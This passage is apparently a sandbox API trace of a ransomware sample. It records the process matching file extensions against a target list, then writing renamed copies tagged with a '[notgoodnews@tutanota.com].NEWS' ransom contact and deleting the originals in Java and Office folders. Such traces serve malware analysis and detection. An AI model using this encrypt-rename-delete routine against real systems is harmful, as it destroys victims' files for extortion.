[0067.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0067.313] lstrlenW (lpString=".jpg") returned 4 [0067.313] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0067.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0067.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0067.313] lstrlenW (lpString=".doc") returned 4 [0067.313] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0067.313] lstrlenW (lpString=".docx") returned 5 [0067.314] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0067.314] lstrlenW (lpString=".pdf") returned 4 [0067.314] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0067.314] lstrlenW (lpString=".xls") returned 4 [0067.314] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0067.314] lstrlenW (lpString=".xlsx") returned 5 [0067.314] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0067.314] lstrlenW (lpString=".ppt") returned 4 [0067.314] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0067.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0067.314] lstrlenW (lpString=".zip") returned 4 [0067.314] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0067.314] lstrlenW (lpString=".rar") returned 4 [0067.314] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0067.314] lstrlenW (lpString=".bz2") returned 4 [0067.314] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0067.314] lstrlenW (lpString=".7z") returned 3 [0067.314] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0067.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0067.314] lstrlenW (lpString=".dbf") returned 4 [0067.314] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0067.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0067.314] lstrlenW (lpString=".1cd") returned 4 [0067.314] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0067.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0067.314] lstrlenW (lpString=".jpg") returned 4 [0067.314] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0067.314] lstrcmpiW (lpString1=".gif", lpString2=".NEWS") returned -1 [0067.314] lstrlenW (lpString="win32_LinkDrop32x32.gif") returned 23 [0067.314] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0067.315] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=168) returned 1 [0067.315] CloseHandle (hObject=0x374) returned 1 [0067.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 0x20 [0067.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0067.315] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0067.315] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.315] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.315] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0067.315] GetLastError () returned 0x0 [0067.316] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xa8, lpOverlapped=0x0) returned 1 [0067.907] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xb0, lpOverlapped=0x0) returned 1 [0067.908] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0067.908] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x102, lpOverlapped=0x0) returned 1 [0067.909] SetEndOfFile (hFile=0x308) returned 1 [0067.909] CloseHandle (hObject=0x308) returned 1 [0067.909] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.909] SetEndOfFile (hFile=0x374) returned 1 [0067.910] CloseHandle (hObject=0x374) returned 1 [0067.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0067.931] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 1 [0067.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0067.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0067.932] lstrlenW (lpString=".doc") returned 4 [0067.932] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0067.932] lstrlenW (lpString=".docx") returned 5 [0067.932] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0067.932] lstrlenW (lpString=".pdf") returned 4 [0067.932] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0067.932] lstrlenW (lpString=".xls") returned 4 [0067.932] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0067.932] lstrlenW (lpString=".xlsx") returned 5 [0067.932] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0067.932] lstrlenW (lpString=".ppt") returned 4 [0067.932] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0067.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0067.932] lstrlenW (lpString=".zip") returned 4 [0067.932] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0067.932] lstrlenW (lpString=".rar") returned 4 [0067.932] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0067.932] lstrlenW (lpString=".bz2") returned 4 [0067.932] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0067.932] lstrlenW (lpString=".7z") returned 3 [0067.932] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0067.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0067.932] lstrlenW (lpString=".dbf") returned 4 [0067.932] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0067.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0067.932] lstrlenW (lpString=".1cd") returned 4 [0067.932] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0067.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0067.932] lstrlenW (lpString=".jpg") returned 4 [0067.932] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0067.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0067.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0067.932] lstrlenW (lpString=".doc") returned 4 [0067.932] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0067.933] lstrlenW (lpString=".docx") returned 5 [0067.933] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0067.933] lstrlenW (lpString=".pdf") returned 4 [0067.933] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0067.933] lstrlenW (lpString=".xls") returned 4 [0067.933] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0067.933] lstrlenW (lpString=".xlsx") returned 5 [0067.933] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0067.933] lstrlenW (lpString=".ppt") returned 4 [0067.933] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0067.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0067.933] lstrlenW (lpString=".zip") returned 4 [0067.933] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0067.933] lstrlenW (lpString=".rar") returned 4 [0067.933] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0067.933] lstrlenW (lpString=".bz2") returned 4 [0067.933] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0067.933] lstrlenW (lpString=".7z") returned 3 [0067.933] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0067.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0067.933] lstrlenW (lpString=".dbf") returned 4 [0067.933] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0067.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0067.933] lstrlenW (lpString=".1cd") returned 4 [0067.933] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0067.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0067.933] lstrlenW (lpString=".jpg") returned 4 [0067.933] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0068.125] lstrcmpiW (lpString1=".VBS", lpString2=".NEWS") returned 1 [0068.125] lstrlenW (lpString="OSPP.VBS") returned 8 [0068.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0068.134] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=94467) returned 1 [0068.134] CloseHandle (hObject=0x308) returned 1 [0068.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 0x20 [0068.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0068.140] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.141] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0068.145] GetLastError () returned 0x0 [0068.145] ReadFile (in: hFile=0x33c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x17103, lpOverlapped=0x0) returned 1 [0068.152] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x17110, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x17110, lpOverlapped=0x0) returned 1 [0068.155] ReadFile (in: hFile=0x33c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.155] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xe4, lpOverlapped=0x0) returned 1 [0068.155] SetEndOfFile (hFile=0x2f4) returned 1 [0068.155] CloseHandle (hObject=0x2f4) returned 1 [0068.158] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.158] SetEndOfFile (hFile=0x33c) returned 1 [0068.159] CloseHandle (hObject=0x33c) returned 1 [0068.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0068.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 1 [0068.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0068.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0068.168] lstrlenW (lpString=".doc") returned 4 [0068.168] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1 [0068.168] lstrlenW (lpString=".docx") returned 5 [0068.168] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1 [0068.168] lstrlenW (lpString=".pdf") returned 4 [0068.168] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1 [0068.168] lstrlenW (lpString=".xls") returned 4 [0068.168] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1 [0068.168] lstrlenW (lpString=".xlsx") returned 5 [0068.168] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1 [0068.168] lstrlenW (lpString=".ppt") returned 4 [0068.168] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1 [0068.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0068.168] lstrlenW (lpString=".zip") returned 4 [0068.168] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1 [0068.168] lstrlenW (lpString=".rar") returned 4 [0068.168] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1 [0068.168] lstrlenW (lpString=".bz2") returned 4 [0068.168] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1 [0068.168] lstrlenW (lpString=".7z") returned 3 [0068.168] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1 [0068.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0068.168] lstrlenW (lpString=".dbf") returned 4 [0068.168] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1 [0068.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0068.168] lstrlenW (lpString=".1cd") returned 4 [0068.168] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1 [0068.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0068.169] lstrlenW (lpString=".jpg") returned 4 [0068.169] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1 [0068.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0068.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0068.169] lstrlenW (lpString=".doc") returned 4 [0068.169] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1 [0068.169] lstrlenW (lpString=".docx") returned 5 [0068.169] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1 [0068.169] lstrlenW (lpString=".pdf") returned 4 [0068.169] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1 [0068.169] lstrlenW (lpString=".xls") returned 4 [0068.169] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1 [0068.169] lstrlenW (lpString=".xlsx") returned 5 [0068.169] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1 [0068.169] lstrlenW (lpString=".ppt") returned 4 [0068.169] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1 [0068.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0068.169] lstrlenW (lpString=".zip") returned 4 [0068.169] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1 [0068.169] lstrlenW (lpString=".rar") returned 4 [0068.169] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1 [0068.169] lstrlenW (lpString=".bz2") returned 4 [0068.169] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1 [0068.169] lstrlenW (lpString=".7z") returned 3 [0068.169] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1 [0068.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0068.169] lstrlenW (lpString=".dbf") returned 4 [0068.169] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1 [0068.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0068.169] lstrlenW (lpString=".1cd") returned 4 [0068.169] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1 [0068.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0068.169] lstrlenW (lpString=".jpg") returned 4 [0068.170] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1 [0068.170] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0068.170] lstrlenW (lpString="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 53 [0068.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0068.175] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=387356) returned 1 [0068.176] CloseHandle (hObject=0x374) returned 1 [0068.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 0x220 [0068.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0068.176] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.176] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0068.176] GetLastError () returned 0x0 [0068.176] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x5e91c, lpOverlapped=0x0) returned 1 [0068.185] WriteFile (in: hFile=0x31c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x5e920, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x5e920, lpOverlapped=0x0) returned 1 [0068.192] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.193] WriteFile (in: hFile=0x31c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x13e, lpOverlapped=0x0) returned 1 [0068.193] SetEndOfFile (hFile=0x31c) returned 1 [0068.193] CloseHandle (hObject=0x31c) returned 1 [0068.591] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.591] SetEndOfFile (hFile=0x374) returned 1 [0068.594] CloseHandle (hObject=0x374) returned 1 [0068.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0068.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 1 [0068.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0068.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0068.595] lstrlenW (lpString=".doc") returned 4 [0068.595] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0068.595] lstrlenW (lpString=".docx") returned 5 [0068.595] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0068.595] lstrlenW (lpString=".pdf") returned 4 [0068.595] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0068.595] lstrlenW (lpString=".xls") returned 4 [0068.595] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0068.595] lstrlenW (lpString=".xlsx") returned 5 [0068.595] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0068.595] lstrlenW (lpString=".ppt") returned 4 [0068.595] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0068.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0068.596] lstrlenW (lpString=".zip") returned 4 [0068.596] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0068.596] lstrlenW (lpString=".rar") returned 4 [0068.596] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0068.596] lstrlenW (lpString=".bz2") returned 4 [0068.596] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0068.596] lstrlenW (lpString=".7z") returned 3 [0068.596] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0068.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0068.596] lstrlenW (lpString=".dbf") returned 4 [0068.596] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0068.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0068.596] lstrlenW (lpString=".1cd") returned 4 [0068.596] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0068.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 